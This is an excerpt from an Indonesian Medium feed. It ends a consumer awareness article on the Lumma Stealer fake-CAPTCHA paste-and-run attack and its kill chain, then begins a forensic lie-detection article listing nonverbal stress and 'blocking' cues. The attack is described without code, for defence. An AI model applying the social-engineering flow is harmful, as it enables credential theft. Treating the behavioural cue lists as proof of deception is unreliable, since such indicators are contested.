ke situs yang udah diakali <em>hacker</em> tadi (misal: nge-klik tombol <em>download</em> film palsu), kamu akan otomatis diarahkan (<em>redirect</em>) ke halaman Fake CAPTCHA buatan mereka. “Senjata” tersebut sekarang sudah ada di depan mata kamu.</p><h4>4. Exploitation (Eksploitasi / Menipu Korban)</h4><p><strong>Nah, ini dia bagian paling jenius dan berbahayanya!</strong> Kalau biasanya virus memanfaatkan kelemahan sistem Windows, Lumma Stealer memanfaatkan kelemahan <em>manusia</em> (kamu).</p><p>Di layar CAPTCHA palsu itu, kamu nggak disuruh nge-klik gambar. Alih-alih, muncul instruksi aneh seperti:</p><p><em>“Untuk verifikasi kamu manusia, tekan tombol </em><strong><em>Windows + R</em></strong><em>, lalu tekan </em><strong><em>Ctrl + V</em></strong><em> (Paste), dan tekan </em><strong><em>Enter</em></strong><em>.”</em></p><p>Sebenarnya, saat kamu membuka halaman itu, <em>website</em> tersebut sudah otomatis meng-<em>copy</em> kode <em>script</em> jahat ke <em>clipboard</em> laptopmu (kayak kamu habis nge-blok teks terus klik <em>Copy</em>). Saat kamu menekan tombol <em>Paste</em> di kotak <em>Run</em> (Windows + R) dan menekan <em>Enter</em>, kamu pada dasarnya <strong>menjalankan sendiri virus itu untuk meretas laptopmu sendiri.</strong> Boom!</p><h4>5. Installation (Instalasi Virus)</h4><p>Begitu kamu tekan Enter, kode yang ter-<em>paste</em> tadi akan diam-diam berjalan di <em>background</em>. Kamu nggak akan lihat <em>loading screen</em> atau pop-up apa-apa. Layarmu biasa saja, tapi di balik layar, kode itu men-<em>download</em> file utama Lumma Stealer dari server <em>hacker</em> dan menginstalnya di dalam folder tersembunyi di Windows kamu.</p><h4>6. Command and Control / C2 (Lapor ke Bos)</h4><p>Setelah berhasil <em>install</em>, Lumma Stealer bakal “menelepon” bosnya. Dia membuka jalur komunikasi rahasia ke server milik <em>hacker</em> di antah berantah. Ini ibaratnya maling udah berhasil masuk rumah kamu, lalu dia nelepon bosnya: <em>“Bos, saya udah di dalem nih, siap nguras barang-barang.”</em></p><h4>7. Actions on Objectives (Eksekusi! Panen Data)</h4><p>Ini adalah tahap akhir yang bikin nangis. Lumma Stealer mulai bekerja super cepat. Dia mengekstrak (<em>zip</em>) semua <em>password</em> yang kamu <em>save</em> di Google Chrome, mengambil <em>session cookies</em> (yang bikin orang bisa masuk ke Instagram atau YouTube kamu tanpa butuh <em>password/OTP</em> lagi), dan mencuri file <em>crypto wallet</em>.</p><p>Semua “harta karun” digital kamu itu dikirim ke server <em>hacker</em>. Besoknya? Akun Valorant kamu ganti <em>password</em>, Instagram kamu dipakai buat nipu pinjam duit ke teman-temanmu, dan kamu kehilangan akses ke semuanya.</p><h3>Kesimpulan: Gimana Cara Biar Nggak Kena?</h3><p>Serangan Fake CAPTCHA Lumma Stealer ini jadi bukti nyata bahwa <strong>sehebat apa pun antivirus kamu, kalau kamunya sendiri yang membukakan pintu buat <em>hacker</em>, sistem itu akan jebol juga.</strong></p><p>Jadi, ingat satu aturan emas ini:</p><p><strong>CAPTCHA asli (seperti dari Google atau Cloudflare) TIDAK AKAN PERNAH menyuruh kamu menekan tombol keyboard (seperti Windows + R) apalagi menyuruh <em>copy-paste</em> kode yang nggak kamu pahami.</strong> Kalau kamu ketemu CAPTCHA yang nyuruh ketik-ketik <em>shortcut</em> aneh, langsung tutup <em>tab browser</em>-nya. <em>Stay safe</em>, dan jadilah <em>netizen</em> yang kritis sebelum nge-klik!</p><h3>Referensi</h3><p>[1] E. M. Hutchins, M. J. Cloppert, dan R. M. Amin, “Intelligence-Driven Computer Network Defense Informed by Analysis of Adversary Campaigns and Intrusion Kill Chains,” <em>Leading Issues in Information Warfare &amp; Security Research</em>, vol. 1, no. 1, hal. 80, 2011.</p><p>[2] B. Toulas, “Fake ‘Verify you are human’ screens distribute Lumma Stealer malware,” <em>BleepingComputer</em>, Sep. 2024. [Daring]. Tersedia: <a href="https://www.google.com/search?q=https://www.bleepingcomputer.com/news/security/fake-verify-you-are-human-screens-distribute-lumma-stealer-malware/.">https://www.google.com/search?q=https://www.bleepingcomputer.com/news/security/fake-verify-you-are-human-screens-distribute-lumma-stealer-malware/.</a></p><p>[3] CloudSEK Threat Intelligence, “ClickFix Campaign: Fake CAPTCHA Pages Deceive Users into Downloading Lumma Stealer,” <em>CloudSEK Blog</em>, Sep. 2024. [Daring]. Tersedia: <a href="https://www.cloudsek.com/">https://www.cloudsek.com/.</a></p><p>[4] A. Aleroud dan L. Zhou, “Phishing environments, techniques, and countermeasures: A survey,” <em>Computers &amp; Security</em>, vol. 68, hal. 160–196, 2017.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7ea6d5257b62" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cara Mengungkap Kebohongan: Metode Interogasi Kognitif dan Analisis Perilaku Tersangka]]></title>
            <link>https://medium.com/@adriansyah1230/cara-mengungkap-kebohongan-metode-interogasi-kognitif-dan-analisis-perilaku-tersangka-7c28c1fd7fd3?source=rss-bde419e52529------2</link>
            <guid isPermaLink="false">https://medium.com/p/7c28c1fd7fd3</guid>
            <category><![CDATA[psychology]]></category>
            <category><![CDATA[microexpressions]]></category>
            <category><![CDATA[lies]]></category>
            <category><![CDATA[body-language]]></category>
            <category><![CDATA[psikologi-forensik]]></category>
            <dc:creator><![CDATA[Adrian Syah Abidin]]></dc:creator>
            <pubDate>Sun, 08 Feb 2026 16:03:59 GMT</pubDate>
            <atom:updated>2026-02-08T16:03:59.492Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FZkwxL1pnSbbttVEMmKWpA.png" /></figure><p><strong>Ditulis Oleh : </strong>Adrian Syah Abidin</p><p>Deteksi kebohongan dalam konteks forensik bukanlah seni “membaca wajah” secara mistik, melainkan penerapan sistematis ilmu psikologi, neuropsikologi, dan metodologi wawancara investigatif. Kebohongan (deception) dipahami sebagai proses kognitif aktif yang menuntut sumber daya mental tinggi, memicu emosi spesifik, dan menghasilkan kebocoran perilaku — baik lewat bahasa tubuh, wajah, maupun pilihan kata. Tidak ada satu pun tanda tunggal yang dapat dijadikan “hidung Pinokio”; yang diandalkan adalah pola (klaster) perilaku yang konsisten dengan penipuan, dikaitkan dengan bukti objektif dan dijaring melalui wawancara yang terstruktur dan etis.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F4jwUXV4QaTw%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D4jwUXV4QaTw&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F4jwUXV4QaTw%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/4644ce4607b4f638ad824fa9853efb88/href">https://medium.com/media/4644ce4607b4f638ad824fa9853efb88/href</a></iframe><p>Artikel ini menyajikan kerangka komprehensif deteksi kebohongan berbasis referensi yang diberikan, diperkaya dengan temuan ilmiah tentang PEACE model, Facial Action Coding System (FACS), dan Criteria-Based Content Analysis (CBCA). Fokusnya adalah aplikasi praktis dalam penyidikan kriminal, terutama bagi polisi, penyidik, dan psikolog forensik.</p><h3>1. Landasan Neuropsikologis: Mengapa Berbohong Itu Berat</h3><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FIkH0EGYqWO0%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DIkH0EGYqWO0&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FIkH0EGYqWO0%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/a443289199765eb40b6e672425e1ac5c/href">https://medium.com/media/a443289199765eb40b6e672425e1ac5c/href</a></iframe><p>Secara neuropsikologis, berbohong bukanlah tindakan pasif. Otak tidak sekadar “tidak mengatakan yang sebenarnya”; ia harus mengerjakan beberapa tugas sekaligus. Inilah inti Teori Beban Kognitif (Cognitive Load Theory) dalam deteksi kebohongan: berbohong secara mental jauh lebih melelahkan daripada berkata jujur.</p><p>Ketika seseorang berbohong dalam interogasi, secara simultan otak harus:</p><ol><li>Menginhibisi (menekan) fakta yang sebenarnya.</li><li>Membangun narasi palsu yang tampak logis.</li><li>Memastikan narasi itu konsisten dengan fakta yang sudah diketahui penyidik.</li><li>Mengontrol ekspresi wajah, gerak tubuh, dan suara agar tampak natural.</li><li>Memantau reaksi penyidik untuk menilai apakah kebohongannya “diterima”.</li></ol><p>Setiap tugas itu menyedot kapasitas memori kerja. Ketika beban ini melewati ambang tertentu, akan tampak “kebocoran” pada saluran yang kurang diawasi: jeda bicara bertambah panjang, kesalahan kata meningkat, gestur ilustratif (tangan yang “menggambar” cerita) menurun, dan perilaku canggung mulai muncul. Strategi wawancara modern justru sengaja meningkatkan beban kognitif — misalnya dengan meminta cerita diurutkan terbalik — agar pembohong kesulitan mempertahankan fasadnya.</p><p>Selain beban kognitif, kebohongan biasanya memicu emosi tertentu: takut ketahuan, rasa bersalah, atau justru “duping delight” (kesenangan karena merasa berhasil menipu). Emosi-emosi ini mengaktifkan sistem saraf otonom, menghasilkan perubahan fisiologis seperti napas dangkal, keringat, perubahan warna kulit, hingga mikroekspresi wajah yang melintas sangat cepat. Inilah yang disebut hipotesis “emotional leakage”: emosi asli bocor melalui saluran yang sulit sepenuhnya dikendalikan secara sadar.</p><h3>2. Baseline Perilaku dan Bahaya “Othello Error”</h3><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2Fx--jLtmpbAg%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3Dx--jLtmpbAg&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2Fx--jLtmpbAg%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/a776d18867b618a438d6c485237fb4c8/href">https://medium.com/media/a776d18867b618a438d6c485237fb4c8/href</a></iframe><p>Kesalahan klasik dalam deteksi kebohongan adalah menyamakan stres dengan kebohongan. Orang yang jujur di ruang interogasi wajar merasa cemas, gemetar, atau gugup. Othello Error terjadi ketika penyidik keliru menafsirkan tanda-tanda stres yang wajar sebagai bukti bersalah.</p><p>Untuk mencegahnya, langkah utama sebelum menilai perilaku adalah menetapkan baseline perilaku — “titik nol” ketika subjek berada dalam kondisi relatif tenang dan (sejauh mungkin) jujur. Baseline mencakup:</p><ul><li><strong>Saluran vokal</strong>: nada suara, volume, kecepatan bicara, dan panjang jeda sebelum menjawab. Pada kondisi baseline, seseorang mungkin berbicara cepat, datar, atau banyak menghela napas — itulah normalnya bagi dia. Deviasi yang signifikan (misalnya tiba-tiba nada naik tinggi atau jeda menjadi jauh lebih panjang setelah pertanyaan sensitif) baru layak dicurigai.</li><li><strong>Saluran kinesik (gerak tubuh)</strong>: posisi duduk, frekuensi gestur tangan, kebiasaan menyentuh wajah atau rambut. Banyak orang secara alami gestikulatif; ada pula yang memang kaku. Yang dicari bukan apakah ia banyak bergerak, tetapi apakah gerakannya berubah mencolok pada momen-momen tertentu.</li><li><strong>Saluran okulesik (mata)</strong>: pola kedipan, arah pandangan, dan durasi tatapan. Jika pada baseline subjek sering mengalihkan pandangan, maka “tidak menatap mata penyidik” tidak otomatis berarti berbohong. Yang signifikan adalah peningkatan dramatis kedipan atau tatapan tiba-tiba menjadi kaku dan menatap tajam tepat setelah pertanyaan kritis.</li></ul><p>Baseline dibangun dengan mengajukan pertanyaan netral yang menuntut ingatan — misalnya tentang perjalanan ke kantor, riwayat pekerjaan, atau rutinitas harian — selama beberapa menit pertama. Di fase ini, penyidik belum menyentuh inti kasus; tugas utamanya mengamati bagaimana subjek berperilaku ketika tidak sedang terancam oleh topik sensitif.</p><h3>3. Analisis Non-Verbal: Klaster Perilaku, Bukan Satu Gerakan</h3><p>Metodologi yang digunakan mantan instruktur CIA/FBI dan banyak pakar perilaku modern menekankan konsep “klaster perilaku” dan aturan waktu (timing).</p><p>Prinsip utamanya:</p><ul><li>Satu gerakan saja — misalnya menyentuh hidung — tidak pernah cukup untuk menyimpulkan kebohongan.</li><li>Yang dicari adalah sedikitnya dua atau lebih indikator yang muncul berdekatan (klaster), sebagai respons langsung terhadap stimulus (pertanyaan atau pemutaran bukti).</li><li>Reaksi yang relevan secara psikologis biasanya muncul dalam rentang sekitar 3–5 detik setelah pertanyaan atau bukti disodorkan. Di luar itu, kemungkinan besar perilaku tersebut hanya kebetulan (misalnya benar-benar gatal).</li></ul><p>Dalam observasi non-verbal, tiga kelompok perilaku utama mendapat perhatian khusus: pacifying, blocking, dan anchor-point movements.</p><h3>3.1 Perilaku Menenangkan (Pacifying Behaviors)</h3><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FM6vJeNgmWJ8%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DM6vJeNgmWJ8&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FM6vJeNgmWJ8%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/630f7e9697f7f84a44e90d101ef9503b/href">https://medium.com/media/630f7e9697f7f84a44e90d101ef9503b/href</a></iframe><p>Ketika sistem limbik mendeteksi ancaman — misalnya pertanyaan yang menyentuh area yang ingin disembunyikan — tubuh merilis hormon stres seperti kortisol. Secara bawah sadar, manusia cenderung melakukan sentuhan-sentuhan yang menenangkan (self-soothing). Berikut adalah daftar lengkap pacifying behaviors:</p><h3>Pacifying Behaviors pada Area Kepala dan Wajah</h3><ul><li><strong>Neck manipulation</strong>: Pria sering menyentuh atau meremas area sekitar jakun; wanita kerap menyentuh cekungan leher (suprasternal notch) atau memainkan kalung. Leher adalah area anatomi yang rentan, sehingga penyentuhan di sini menandakan tingkat ketidaknyamanan yang tinggi.</li><li><strong>Forehead rubbing</strong>: Menggosok dahi dengan jari-jari, telapak tangan, atau seluruh tangan, sering menandakan stres atau frustrasi.</li><li><strong>Face touching</strong>: Menyentuh pipi, dagu, atau area wajah lainnya untuk menenangkan diri.</li><li><strong>Nose touching/rubbing</strong>: Menggosok atau menyentuh hidung, bisa juga mengindikasikan keraguan atau ketidakpastian.</li><li><strong>Eye rubbing/blocking</strong>: Menggosok mata atau menutup mata dengan tangan, respons primitif untuk “memblokir” stimulus yang mengancam.</li><li><strong>Ear touching</strong>: Menarik, menggosok, atau memijat telinga sebagai mekanisme self-soothing.</li></ul><h3>Pacifying Behaviors pada Area Mulut</h3><ul><li><strong>Lip compression</strong>: Menekan bibir hingga tipis atau hampir menghilang, menunjukkan stres atau ketidaksetujuan.</li><li><strong>Lip biting</strong>: Menggigit bibir atas atau bawah sebagai respons terhadap kecemasan.</li><li><strong>Lip licking</strong>: Menjilat bibir berulang kali karena mulut kering akibat respons stres.</li><li><strong>Lip pursing</strong>: Mengerutkan bibir, sering menandakan ketidaksetujuan atau keraguan.</li><li><strong>Tongue jutting</strong>: Menjulurkan lidah sedikit keluar, biasanya muncul saat seseorang tertangkap melakukan kesalahan.</li><li><strong>Puffed cheeks exhale</strong>: Menggembungkan pipi dan menghembuskan napas perlahan, menandakan relief atau pelepasan stres.</li></ul><h3>Pacifying Behaviors pada Rambut</h3><ul><li><strong>Hair touching/stroking</strong>: Menyentuh, membelai, atau mengusap rambut secara berulang.</li><li><strong>Hair twirling</strong>: Memutar-mutar rambut dengan jari, lebih umum pada wanita.</li><li><strong>Hair flipping</strong>: Mengibaskan rambut dari tengkuk atau wajah untuk “ventilasi” dan mengurangi sensasi panas akibat stres.</li><li><strong>Scalp massage</strong>: Memijat kulit kepala dengan jari-jari.</li></ul><h3>Pacifying Behaviors pada Leher dan Bahu</h3><ul><li><strong>Ventilasi tubuh</strong>: Menarik atau mengibaskan kerah baju, meniup udara ke dalam kemeja, atau mengibaskan rambut dari tengkuk. Ini sering muncul ketika subjek merasa “panas” akibat respons fight-or-flight.</li><li><strong>Neck massage</strong>: Memijat bagian belakang atau samping leher.</li><li><strong>Shoulder shrugging</strong>: Mengangkat bahu berulang kali atau menahan bahu dalam posisi terangkat.</li><li><strong>Adjusting tie or collar</strong>: Melonggarkan dasi atau menyesuaikan kerah baju.</li></ul><h3>Pacifying Behaviors pada Tangan dan Lengan</h3><ul><li><strong>Hand rubbing</strong>: Menggosok kedua tangan bersama-sama, bisa menandakan antisipasi atau kecemasan.</li><li><strong>Hand wringing</strong>: Meremas-remas tangan dengan gerakan memutar.</li><li><strong>Finger interlacing</strong>: Mengaitkan jari-jari tangan satu sama lain, kemudian meremasnya.</li><li><strong>Nail biting</strong>: Menggigit kuku sebagai mekanisme pelepasan stres.</li><li><strong>Cuticle picking</strong>: Mengupil atau memainkan kutikula kuku.</li><li><strong>Arm crossing</strong>: Melipat tangan di depan tubuh sebagai barrier atau self-hug.</li><li><strong>Self-hugging</strong>: Memeluk diri sendiri atau memegang lengan sendiri.</li><li><strong>Wrist touching/holding</strong>: Memegang atau menyentuh pergelangan tangan sendiri.</li></ul><h3>Pacifying Behaviors dengan Objek</h3><ul><li><strong>Pen clicking</strong>: Mengklik bolpoin berulang kali.</li><li><strong>Object fidgeting</strong>: Memainkan objek kecil seperti kertas, penghapus, atau koin.</li><li><strong>Jewelry playing</strong>: Memutar cincin, memainkan gelang, atau kalung.</li><li><strong>Phone manipulation</strong>: Memainkan atau menggeser ponsel tanpa tujuan jelas.</li><li><strong>Glasses adjustment</strong>: Menyesuaikan kacamata berulang kali meski sudah dalam posisi tepat.</li></ul><h3>Pacifying Behaviors pada Kaki dan Tubuh Bawah</h3><ul><li><strong>Leg bouncing</strong>: Menggerakkan kaki naik turun dengan cepat.</li><li><strong>Foot tapping</strong>: Mengetuk-ngetukkan kaki ke lantai.</li><li><strong>Leg crossing/uncrossing</strong>: Mengubah posisi kaki silang secara berulang.</li><li><strong>Ankle locking</strong>: Mengunci pergelangan kaki di bawah kursi, menandakan pembatasan diri.</li><li><strong>Toe wiggling</strong>: Menggerakkan jari-jari kaki dalam sepatu.</li></ul><h3>Pacifying Behaviors Pernapasan dan Vokal</h3><ul><li><strong>Deep sighing</strong>: Menghela napas dalam-dalam untuk melepaskan tekanan.</li><li><strong>Audible exhaling</strong>: Menghembuskan napas dengan suara yang terdengar.</li><li><strong>Yawning</strong>: Menguap sebagai respons stres, bukan selalu karena kantuk.</li><li><strong>Throat clearing</strong>: Membersihkan tenggorokan berulang kali tanpa alasan medis.</li><li><strong>Humming or whistling</strong>: Bersenandung atau bersiul untuk menenangkan diri.</li></ul><h3>Pacifying Behaviors Kombinasi</h3><ul><li><strong>Pacifying clusters</strong>: Sering kali muncul kombinasi beberapa behavior sekaligus, misalnya neck touching + lip compression + leg bouncing, yang mengindikasikan tingkat stres sangat tinggi.</li><li><strong>Displacement activities</strong>: Aktivitas yang tidak relevan dengan situasi, seperti tiba-tiba merapikan barang di meja saat ditanya pertanyaan sulit.</li></ul><p>Penting untuk dicatat bahwa intensitas, frekuensi, dan durasi pacifying behaviors berbanding lurus dengan tingkat stres yang dialami. Semakin sering dan lama behavior ini muncul, semakin tinggi kemungkinan subjek mengalami ketidaknyamanan atau menyembunyikan informasi.</p><p>Perilaku ini pada dasarnya adalah mekanisme penenang diri. Satu sentuhan leher bisa hanya kebiasaan; namun jika tepat setelah pertanyaan mengenai waktu kejadian subjek tiba-tiba berkali-kali menggaruk leher dan menghela napas panjang, sementara saluran lain juga berubah, patut dicermati.</p><h3>3.2 Perilaku Memblokir (Blocking Behaviors)</h3><p>Blocking adalah upaya bawah sadar untuk menciptakan jarak dari sumber ancaman (penyidik atau topik tertentu). Jika blocking muncul sebagai reaksi langsung sesaat setelah bukti kritis ditunjukkan, hal ini sering menjadi indikator bahwa subjek secara emosional ingin menjauh dari realitas yang dihadapkan kepadanya. Berikut adalah daftar lengkap blocking behaviors:</p><h4>Eye Blocking Behaviors</h4><ul><li><strong>Extended eye closure</strong>: Menutup mata lebih lama dibanding kedipan biasa, terutama saat menjawab pertanyaan sulit — seolah ingin “menghapus” keberadaan penyidik sesaat.</li><li><strong>Hand-to-eye blocking</strong>: Menutup mata dengan tangan atau jari, respons primitif untuk memblokir stimulus visual yang mengancam.</li><li><strong>Rubbing eyes aggressively</strong>: Menggosok mata dengan kuat, seakan ingin “menghapus” apa yang dilihat.</li><li><strong>Looking away or down</strong>: Mengalihkan pandangan ke bawah atau ke samping untuk menghindari kontak mata.</li><li><strong>Covering face with hands</strong>: Menutupi wajah dengan kedua tangan, blocking total terhadap interaksi visual.</li><li><strong>Squinting or closing one eye</strong>: Menyipitkan mata atau menutup satu mata untuk mengurangi input visual.</li></ul><h4>Upper Body Blocking Behaviors</h4><ul><li><strong>Arm crossing tightly</strong>: Menyilangkan tangan dengan ketat di depan dada, menciptakan barrier defensif yang kuat.</li><li><strong>High arm barrier</strong>: Menyilangkan tangan tinggi di dada, lebih dekat dengan leher, menandakan blocking yang lebih intens.</li><li><strong>Self-hugging</strong>: Memeluk diri sendiri dengan kedua tangan, bentuk blocking dan self-soothing sekaligus.</li><li><strong>Arm gripping</strong>: Memegang lengan sendiri dengan erat saat menyilangkan tangan.</li><li><strong>Single arm barrier</strong>: Menggunakan satu tangan untuk memegang lengan yang lain di depan tubuh.</li><li><strong>Partial arm crossing</strong>: Menyilangkan tangan sebagian, misalnya hanya satu tangan di depan perut.</li></ul><h4>Object Blocking Behaviors</h4><ul><li><strong>Creating physical barriers</strong>: Memindahkan tas, map, atau gelas kopi ke posisi menjadi “tameng” antara diri dan penyidik.</li><li><strong>Laptop/folder shield</strong>: Menempatkan laptop atau folder di depan dada atau perut sebagai barrier.</li><li><strong>Purse/bag clutching</strong>: Memegang tas atau dompet erat-erat di depan tubuh.</li><li><strong>Pillow/cushion holding</strong>: Memeluk bantal atau benda lunak di depan tubuh.</li><li><strong>Phone blocking</strong>: Mengangkat dan memegang ponsel di depan dada atau wajah.</li><li><strong>Book/magazine barrier</strong>: Mengangkat buku atau majalah untuk menutupi wajah atau tubuh bagian atas.</li><li><strong>Desk/table leaning</strong>: Bersandar ke meja atau menggeser kursi lebih dekat ke meja untuk menciptakan barrier.</li></ul><h4>Head and Neck Blocking Behaviors</h4><ul><li><strong>Chin tucking</strong>: Menarik dagu ke dalam, melindungi leher dan menciptakan postur defensif.</li><li><strong>Shoulder raising</strong>: Mengangkat bahu ke telinga, melindungi area leher yang vulnerable.</li><li><strong>Head turning away</strong>: Memutar kepala menjauhi penyidik atau stimulus mengancam.</li><li><strong>Hair flip blocking</strong>: Mengibaskan rambut panjang untuk menutupi wajah atau menciptakan “tirai” visual.</li><li><strong>Hat/hood pulling</strong>: Menarik topi atau hoodie lebih rendah untuk menutupi wajah.</li><li><strong>Collar pulling up</strong>: Menarik kerah baju lebih tinggi untuk menutupi leher.</li></ul><h4>Hand and Finger Blocking Behaviors</h4><ul><li><strong>Hand-to-mouth</strong>: Menutup mulut dengan tangan saat berbicara atau mendengar.</li><li><strong>Finger-to-lips</strong>: Meletakkan jari di depan mulut sebagai barrier parsial.</li><li><strong>Chin propping</strong>: Menopang dagu dengan tangan, menciptakan barrier antara wajah dan penyidik.</li><li><strong>Steepling collapse</strong>: Dari posisi steepling (ujung jari bertemu), tiba-tiba menurunkan tangan menjadi barrier.</li><li><strong>Clasped hands in front</strong>: Menggenggam tangan di depan tubuh bagian tengah.</li><li><strong>Wrist holding in front</strong>: Memegang pergelangan tangan di depan tubuh sebagai barrier ringan.</li></ul><h4>Lower Body Blocking Behaviors</h4><ul><li><strong>Leg crossing tightly</strong>: Menyilangkan kaki dengan sangat ketat, terutama saat duduk.</li><li><strong>Ankle locking and tucking</strong>: Mengunci pergelangan kaki dan menariknya di bawah kursi, retraksi dari lingkungan.</li><li><strong>Knee-to-knee barrier</strong>: Menyatukan lutut rapat untuk membuat barrier di tubuh bawah.</li><li><strong>Leg intertwining</strong>: Melilit satu kaki ke kaki lain dengan erat.</li><li><strong>Feet pointing away</strong>: Mengarahkan kaki menjauhi penyidik atau pintu, menunjukkan keinginan melarikan diri.</li></ul><h4>Spatial Blocking Behaviors</h4><ul><li><strong>Chair rotation</strong>: Memutar kursi sehingga badan agak menjauh atau tidak menghadap langsung ke penyidik.</li><li><strong>Leaning backward</strong>: Mencondongkan tubuh ke belakang untuk menciptakan jarak fisik.</li><li><strong>Body angling</strong>: Memutar tubuh dalam sudut sehingga tidak fully facing penyidik.</li><li><strong>Creating distance</strong>: Menggeser kursi atau posisi tubuh lebih jauh dari penyidik.</li><li><strong>Standing behind furniture</strong>: Berdiri di belakang meja atau kursi sebagai barrier.</li><li><strong>Doorway positioning</strong>: Memposisikan diri lebih dekat ke pintu keluar sebagai escape route psikologis.</li></ul><h4>Combination Blocking Behaviors</h4><ul><li><strong>Full body turtle</strong>: Kombinasi chin tucking + shoulder raising + arm crossing, menciptakan postur sangat defensif.</li><li><strong>Blocking cluster</strong>: Beberapa blocking behavior muncul bersamaan, seperti eye closure + arm crossing + chair rotation.</li><li><strong>Progressive blocking</strong>: Blocking behavior meningkat secara bertahap, dimulai dari arm crossing ringan hingga multiple barriers.</li><li><strong>Sudden blocking</strong>: Perubahan mendadak dari postur terbuka ke blocking total sebagai respons terhadap pertanyaan atau bukti spesifik.</li></ul><h4>Blocking Behaviors Khusus Situasi Interogasi</h4><ul><li><strong>Document rejection blocking</strong>: Mendorong dokumen menjauh atau membalikkan dokumen saat disajikan bukti.</li><li><strong>Photo turning</strong>: Membalik atau menutupi foto yang ditunjukkan sebagai bukti.</li><li><strong>Evidence avoidance</strong>: Menolak menyentuh atau melihat barang bukti yang disajikan.</li><li><strong>Recording device blocking</strong>: Menutup atau memblokir mikrofon atau kamera rekaman.</li><li><strong>Signature resistance blocking</strong>: Menarik tangan atau menciptakan barrier saat diminta menandatangani dokumen.</li></ul><h4>Indikator Tingkat Blocking</h4><ul><li><strong>Durasi</strong>: Blocking yang bertahan lama menunjukkan ketidaknyamanan yang persisten.</li><li><strong>Intensitas</strong>: Blocking yang lebih ketat (misalnya arm crossing sangat kencang) menandakan stres lebih tinggi.</li><li><strong>Timing</strong>: Blocking yang muncul immediately setelah pertanyaan atau bukti spesifik mengindikasikan area sensitif.</li><li><strong>Frequency</strong>: Blocking berulang pada topik yang sama menunjukkan konsistensi dalam menyembunyikan informasi.</li></ul><p>Penting untuk mengobservasi kapan blocking behaviors muncul, karena timing-nya sering lebih signifikan daripada behavior itu sendiri. Blocking yang muncul sebagai respons langsung terhadap pertanyaan atau bukti tertentu adalah red flag yang perlu investigasi lebih lanjut.</p><h3>3.3 Gerakan Titik Sauh (Anchor-Point Movements)</h3><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FHYQQhPnYsOw%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DHYQQhPnYsOw&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FHYQQhPnYsOw%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/b792184230bba7baffeb5a5bc62f1a12/href">https://medium.com/media/b792184230bba7baffeb5a5bc62f1a12/href</a></iframe><p>Tubuh memiliki titik tumpu (anchor points), terutama kaki, pinggul, dan bokong saat duduk. Perubahan pada titik-titik ini sering merefleksikan “niat untuk pergi”, bahkan ketika mulut mengatakan bahwa subjek bersedia bekerja sama. Anchor points sering kali lolos dari kontrol sadar karena orang yang berbohong terlalu fokus mengontrol ekspresi wajah dan tangan mereka. Berikut adalah daftar lengkap anchor-point movements:</p><h4>Feet Anchor-Point Movements</h4><ul><li><strong>Foot turning away</strong>: Satu kaki tiba-tiba mengarah ke pintu atau exit, menandakan keinginan bawah sadar untuk melarikan diri.</li><li><strong>Both feet turned away</strong>: Kedua kaki mengarah menjauhi penyidik atau menuju pintu, sinyal yang lebih kuat dari intention to leave.</li><li><strong>Feet pointing towards exit</strong>: Kaki menunjuk langsung ke arah pintu keluar, respons fight-or-flight yang jelas.</li><li><strong>Frozen feet</strong>: Kaki tiba-tiba membeku dan berhenti bergerak sama sekali saat pertanyaan mengancam diajukan, respons freeze.</li><li><strong>Foot withdrawing</strong>: Menarik kaki ke belakang atau di bawah kursi, menciptakan postur tertutup.</li><li><strong>Agitated feet</strong>: Kaki menjadi gelisah dengan gerakan tidak beraturan saat stres meningkat.</li><li><strong>Foot tapping</strong>: Mengetuk-ketukkan kaki ke lantai secara repetitif dan tidak terkontrol.</li><li><strong>Bouncy feet</strong>: Kaki memantul naik turun dengan cepat, menunjukkan energi nervous atau keinginan melarikan diri.</li><li><strong>Pacing</strong>: Berjalan mondar-mandir, manifestasi fisik dari keinginan untuk meninggalkan situasi.</li><li><strong>Dragging feet</strong>: Menyeret kaki saat berjalan, menunjukkan keengganan atau kehilangan energi.</li><li><strong>Spatial distancing with feet</strong>: Menggeser posisi kaki untuk menciptakan jarak lebih jauh dari penyidik.</li></ul><h4>Ankle Anchor-Point Movements</h4><ul><li><strong>Ankle locking</strong>: Mengunci pergelangan kaki satu sama lain, 